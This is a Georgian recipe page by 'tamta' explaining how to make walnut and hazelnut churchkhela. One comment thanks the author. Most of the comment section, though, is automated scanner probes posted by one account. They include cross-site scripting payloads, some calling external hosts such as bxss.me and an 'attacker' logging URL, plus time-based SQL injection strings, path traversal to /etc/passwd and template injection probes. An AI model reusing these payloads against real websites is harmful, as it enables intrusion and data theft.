როგორ გავაკეთოთ ჩურჩხელა

ავტორი: tamta

განსაკუთრებით გემრიელი ტკბილეული, რომელიც შემოდგომაზე დიდი ხალისითა და სიყვარულით მზადდება. მისი მომზადება არც თუ ისე რთულია. თუმცა, შედეგი ნებისმიერ სირთულედ ნამდვილად ღირს :)

ამ რჩევაში იხილავთ როგორ გააკეთოთ თხილისა და ნიგვზის ჩურჩხელა.

მოცემული ინგრედიენტებით გამოდის, დაახლოებით, 4 თხილისა და 4 ნიგვზის ჩურჩხელა.

დაგვჭირდება:

50 ცალი ნიგოზი
100 ცალი თხილი
1.5 ლიტრი ბადაგი
300 გრ ფქვილი
3 ჩ/კ შაქარი
ნემსი
მაგარი ძაფი

ბადაგის, ფქვილისა და შაქრის რაოდენობა საკმარისია ჩურჩხელების ერთჯერადად ამოსავლებად. ჩურჩხელები, სულ მცირე, 2–ჯერ მაინც უნდა ამოვავლოთ.

ნაწილი

გაამზადეთ ნიგოზი

ნიგოზი გაარჩიეთ. მოათავსეთ ცხელ ტაფაზე და დაბალ ტემპერატურაზე 2–3 წუთით მოხალეთ ისე, რომ არ დაიწვას. გადმოდგით გაზქურიდან და გააგრილეთ. ლებნები შუაზე გაყავით.

ნაწილი

გაამზადეთ თხილი

თხილი გაარჩიეთ და ცხელ ტაფაზე 2–3 წუთით მოხალეთ. ხის კოვზით მუდვმივად ურიეთ, რომ კანი მოშორდეს. თბილ თხილს კანი ხელით მოაშორეთ.

ნაწილი

აასხით ძაფზე ნიგოზი

დაგჭირდებათ ნემსი და 75 სმ მაგარი ძაფი. ძაფი ორად გაკეცეთ და ნიგოზი ააცვით. ლებნების ბრტყელი მხარე ზემოთ უნდა იყოს მიმართული. ერთ ძაფზე 25 ცალი ლებანი ააგეთ. მოაჭერით ნემსი და ბოლო განასკვეთ.

ნაწილი

აასხით ძაფზე თხილი

75 სმ სიგრძის ძაფი ორად მოკეცეთ. თხილი ნემსით ძაფზე ააცვით – თითოეულ ძაფზე 25 ცალი თხილის გული. მოაჭერით ნემსი და განასკვეთ.

ნაწილი

მოამზადეთ თათარა

ფქვილი და შაქარი თასში მოათავსეთ. თანდათანობით შეურიეთ 500 მლ ბადაგი და ხის კოვზით მოურიეთ.

ნაწილი

ათქვიფეთ

ათქვიფეთ ელექტრო ბლენდერით, რომ ნაზავი ერთგვაროვანი გამოვიდეს.

ნაწილი

ნაზავი ბადაგს შეურიეთ

1 ლიტრი ბადაგი ღრმა ქვაბში მოათავსეთ და თანდათანობით შეურიეთ ფქვილის, შაქრისა და ბადაგის ნაზავი. კარგად მოურიეთ.

ნაწილი

აადუღეთ

გააცხელეთ მაღალ ტემპერატურაზე. ურიეთ მუდივად. აადუღეთ. შეამცირეთ ტემპერატურა და დაბალ ცეცხლზე 8–10 წუთით ადუღეთ. თათარა ნელ–ნელა გასქელდება.

ნაწილი

თათარა მზადაა

საბოლოოდ, თათარას ისეთი სისქე უნდა ჰქონდეს, როგორიც სურათზეა ნაჩვენები.

ნაწილი

მოათავსეთ თათარაში

ხელი მოკიდეთ ძაფის ბოლოს, ნიგვზის/თხილის ასხმა თათარაში მოათავსეთ და კოვზის დახმარებით ნელ–ნელა თათარაში ჩაფალით.

ნაწილი

ამოავლეთ ჩურჩხელა

დარწმუნდით რომ ნიგოზი/თხილი ბოლომდე დაიფარა და ამოიღეთ თათარადან.

ნაწილი

გააშრეთ ჩურჩხელები

თუ თათარა სწორადაა მომზადებული ჩურჩხელა წვეთას არ დაიწყებს. ჩურჩხელები გასაშრობად დაკიდეთ. შეგიძლიათ, ჩამოკიდოთ ორ სკამს შორის გადებულ ჯოხზე.

ნაწილი

გააშრეთ, კიდევ რამდენჯერმე ამოავლეთ და შეინახეთ

ჩურჩხელები მზეზე 3–4 დღით გააშრეთ, სანამ წებოვანი აღარ იქნება. 3–4 დღის შემდეგ, თავიდან ამოავლეთ თათარაში. თათარა ისევ ისე მოამზადეთ, როგორც ზემოთაა აღწერილი, მხოლოდ ერთი განსხვავებით: ბადაგის რაოდენობა 2 ლიტრამდე გაზარდეთ. მეორედ ამოვლების შემდეგაც ჩურჩხელები მზეზე კიდევ 3–4 დღით გააშრეთ. შეგიძლიათ, ჩურჩეხელების ამოვლების პროცესი კიდევ რამდენჯერმე გაიმეოროთ. როცა ჩურჩხელები ბოლომდე გაშრება მისართმევადაც მზად არის. შეინახეთ მშრალ ადგილას 2–3 თვემდე. შენახულ ჩურჩხელას ზედაპირზე შაქრის თხელი ფენა უჩნდება – ეს ბუნებრივია, თანაც ჩურჩხელას უფრო ლამაზს და გემრიელს ხდის.

ბეჭდვა

კომენტარები

165 კომენტარი

დაამატეთ კომენტარი

pavle

05/08/2020

გმადლობ, თამთა. კარგად - დაწვრილებით და გასაგებადაა.

ubaTaeCJ

09/08/2023

bxss.me

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

NZd1jNRs

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

)

ubaTaeCJ

09/08/2023

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

!(()&&!|*|*|

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

^(#$!@#$)(()))******

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

1'"()&%<zzz><ScRiPt >OSYr(9428)</ScRiPt>

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

'"()&%<zzz><ScRiPt >OSYr(9048)</ScRiPt>

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

ubaTaeCJ

09/08/2023

19813059

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

Http://bxss.me/t/fit.txt

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

http://bxss.me/t/fit.txt%3F.jpg

ubaTaeCJ

09/08/2023

bfg8101%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl8101

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

/etc/shells

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

c:/windows/win.ini

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

bfgx9851%C0%BEz1%C0%BCz2a%90bcxhjl9851

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

<%={{={@{#{${dfb}}%>

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

<th:t="${dfb}#foreach

ubaTaeCJ

09/08/2023

../../../../../../../../../../../../../../etc/passwd

ubaTaeCJ

09/08/2023

../../../../../../../../../../../../../../windows/win.ini

ubaTaeCJ

09/08/2023

file:///etc/passwd

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

../1

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

dfb{{98991*97996}}xca

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

dfb[[${98991*97996}]]xca

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

dfb__${98991*97996}__::.x

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

1<ScRiPt >OSYr(9882)</ScRiPt>

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

1<WNTGWJ>PABGV[!+!]</WNTGWJ>

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

1<script>OSYr(9174)</script>

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%4F%53%59%72%28%39%39%36%37%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

-1 OR 2+312-312-1=0+0+0+1 --

ubaTaeCJ

09/08/2023

-1 OR 2+205-205-1=0+0+0+1

ubaTaeCJ

09/08/2023

-1' OR 2+449-449-1=0+0+0+1 --

ubaTaeCJ

09/08/2023

1<ScRiPt >OSYr(9649)</ScRiPt>

ubaTaeCJ

09/08/2023

-1' OR 2+44-44-1=0+0+0+1 or 'iiccEOdp'='

ubaTaeCJ

09/08/2023

-1" OR 2+151-151-1=0+0+0+1 --

ubaTaeCJ

09/08/2023

if(now()=sysdate(),sleep(15),0)

ubaTaeCJ

09/08/2023

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

ubaTaeCJ

09/08/2023

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

ubaTaeCJ

09/08/2023

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

ubaTaeCJ

09/08/2023

-1; waitfor delay '0:0:15' --

ubaTaeCJ

09/08/2023

-1); waitfor delay '0:0:15' --

ubaTaeCJ

09/08/2023

1 waitfor delay '0:0:15' --

ubaTaeCJ

09/08/2023

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9732></ScRiPt>

ubaTaeCJ

09/08/2023

6Mtdb04q'; waitfor delay '0:0:15' --

ubaTaeCJ

09/08/2023

-5 OR 226=(SELECT 226 FROM PG_SLEEP(15))--

ubaTaeCJ

09/08/2023

-5) OR 239=(SELECT 239 FROM PG_SLEEP(15))--

ubaTaeCJ

09/08/2023

-1)) OR 284=(SELECT 284 FROM PG_SLEEP(15))--

ubaTaeCJ

09/08/2023

xiNg0wt3' OR 247=(SELECT 247 FROM PG_SLEEP(15))--

ubaTaeCJ

09/08/2023

KIpELhh8') OR 400=(SELECT 400 FROM PG_SLEEP(15))--

ubaTaeCJ

09/08/2023

zbWLhlaC')) OR 903=(SELECT 903 FROM PG_SLEEP(15))--

ubaTaeCJ

09/08/2023

1<isindex type=image src=1 onerror=OSYr(9656)>

ubaTaeCJ

09/08/2023

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

ubaTaeCJ

09/08/2023

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

ubaTaeCJ

09/08/2023

1'"

ubaTaeCJ

09/08/2023

@@vgnv4

ubaTaeCJ

09/08/2023

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9470'>

ubaTaeCJ

09/08/2023

1<body onload=OSYr(9575)>

ubaTaeCJ

09/08/2023

1<img src=//xss.bxss.me/t/dot.gif onload=OSYr(9919)>

ubaTaeCJ

09/08/2023

1<img src=xyz OnErRor=OSYr(9572)>

ubaTaeCJ

09/08/2023

1<img/src=">" onerror=alert(9273)>

ubaTaeCJ

09/08/2023

%31%3C%53%63%52%69%50%74%20%3E%4F%53%59%72%289893%29%3C%2F%73%43%72%69%70%54%3E

ubaTaeCJ

09/08/2023

1\u003CScRiPt\OSYr(9041)\u003C/sCripT\u003E

ubaTaeCJ

09/08/2023

1<ScRiPt>OSYr(9316)</sCripT>

ubaTaeCJ

09/08/2023

�<img zzz onmouseover=OSYr(93221) //�>

ubaTaeCJ

09/08/2023

1<input autofocus onfocus=OSYr(9034)>

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

ubaTaeCJ

09/08/2023

1}body{zzz:Expre/**/SSion(OSYr(9613))}

ubaTaeCJ

09/08/2023

1mMU2j <ScRiPt >OSYr(9563)</ScRiPt>

ubaTaeCJ

09/08/2023

1<WO9UIM>H71SU[!+!]</WO9UIM>

ubaTaeCJ

09/08/2023

1<ifRAme sRc=9019.com></IfRamE>

ubaTaeCJ

09/08/2023

1<air0eLK x=9395>

ubaTaeCJ

09/08/2023

1<img sRc='http://attacker-9616/log.php?

ubaTaeCJ

09/08/2023

1<a1OiKoI<

ბოლოს განთავსებული

ცხელი შოკოლადი

ავტორი:

Tekla_mi

ატმის აზიური სალათა

ავტორი:

Tekla_mi

რამდენიმე ხრიკი, თუ როგორ მოვამზადოთ წვნიანი და რბილი ქათამი

ქათმის მომზადება ერთი შეხედვით ადვილია, მაგრამ ხშირად საბოლოო შედეგი მაინც გამომშრალი ხორცია. ჩვენ გაგიზიარებთ რამდენიმე მარტივ რჩევას, რის შემდეგაც თქვენი ქათმის ხორცი წვნიანი და ფაფუკი გახდება.

თარიღი: 06/10/2022

ავტორი: Tekla_mi

რა განსხვავებაა ქათმის თეთრ და მუქ ხორცს შორის?

ქათმის ხორცი ჯანსაღი კვების უმნიშვნელოვანესი ნაწილია. იგი წარმოადგენს მაღალი ხარისხის, ადვილად ასათვისებელ ცილების, ვიტამინების, ამინომჟავებისა და მინერალური ნივთიერებების შეუცვლელ წყაროს ნებისმიერი ასაკის ორგანიზმისთვის. როდესაც საქმე ეხება ქათმის ნაჭრის არჩევას, რომელს ანიჭებთ უპირატესობას ქათმის თეთრ თუ მუქ ხორცს? ქათმის ფრთები და მკერდი თეთრ ხორცად ითვლება, ქათმის ბარკლები კი მუქად.

თარიღი: 06/03/2022

ავტორი: Tekla_mi